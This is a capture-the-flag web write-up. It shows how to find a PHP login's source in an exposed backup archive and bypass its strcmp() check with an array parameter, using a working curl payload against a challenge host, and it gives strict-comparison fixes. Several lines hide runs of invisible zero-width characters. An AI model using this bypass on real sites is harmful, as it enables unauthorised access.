← Back to Writeups
CUSTOMMediumWeb

Секретный ключ (Secret Key)

XESXOR9/2/20262 min read
#web#custom#medium#array-injection-to-bypass-stri#backup-file-discovery-(backup.#php-strcmp()-type-juggling-byp#source-code-analysis

Секретный ключ (Secret Key)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: Array injection to bypass string comparison, Backup file discovery (backup.tar.gz), PHP strcmp() type juggling bypass, Source code analysis

Summary

Walkthrough of the CUSTOM Web Секретный ключ (Secret Key). Task: PHP login form with strcmp() comparison. Solution: Type juggling bypass via array injection (secretKey[]=x) makes strcmp() return NULL which equals 0 in loose comparison.

Description

"Тайна всегда привлекательна" (Mystery is always attractive)

URL: http://62.173.140.174:16045/

Difficulty: medium Points: 350

Reconnaissance

Technical Stack

  • Apache/2.4.7 (Ubuntu)
  • PHP/5.5.9-1ubuntu4.29

Initial Analysis

  1. Main page shows a 3D CSS animation "Universe"
  2. Found commented code with 🤫 (shushing face) emoji in CSS file — hint at a "secret"
  3. Found directories: /html/ (403), /static/ (403)
  4. All .phps files return 403 Forbidden ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Discovery

Directory scanning (Nikto/ffuf) revealed /backup.tar.gz file — an archive with PHP source code.

Vulnerability Analysis

Vulnerable Code in index.php

php
if (isset($_POST['action']) && $_POST['action'] == 'confirmSecretKey' 
    && isset($_POST['secretKey']) 
    && strcmp($_POST['secretKey'], $secretKey) == 0) {
    echo "Welcome! You're secret key ".$secretKey." has been accepted!";
}

PHP Type Juggling in strcmp()

The strcmp() function in PHP has a type juggling vulnerability: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. When comparing a string with an array, strcmp() returns NULL
  2. In PHP loose comparison: NULL == 0 returns true
  3. By sending secretKey[]=anything instead of secretKey=value, we bypass the check

Why This Works

php
// Normal behavior
strcmp("test", "secret") // returns number != 0

// Vulnerable behavior
strcmp(array("anything"), "secret") // returns NULL
NULL == 0 // true in PHP loose comparison!

Solution

Exploit

bash
curl -X POST "http://62.173.140.174:16045/" \
  -d "action=confirmSecretKey&secretKey[]=anything"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result

The server reveals the secret key in the response, which contains the flag.

Defense

Proper Implementation

php
// Option 1: Strict comparison
if (strcmp($_POST['secretKey'], $secretKey) === 0) {
    // ...
}

// Option 2: Type checking
if (is_string($_POST['secretKey']) && strcmp($_POST['secretKey'], $secretKey) == 0) {
    // ...
}

// Option 3: Direct comparison (best option)
if ($_POST['secretKey'] === $secretKey) {
    // ...
}

Lessons

  1. Always check for backup files (.tar.gz, .zip, .bak, .old, ~)
  2. PHP strcmp() with loose comparison is vulnerable to type juggling
  3. Use strict comparison (===) in PHP for security checks
  4. The 🤫 emoji in CSS was a hint at hidden secrets
  5. Old PHP versions (5.x) are especially vulnerable ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

Key Takeaways / Lessons

  • Mastering Array injection to bypass string comparison, Backup file discovery (backup.tar.gz), PHP strcmp() type juggling bypass, Source code analysis was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Секретный ключ (Secret Key) • Difficulty: Medium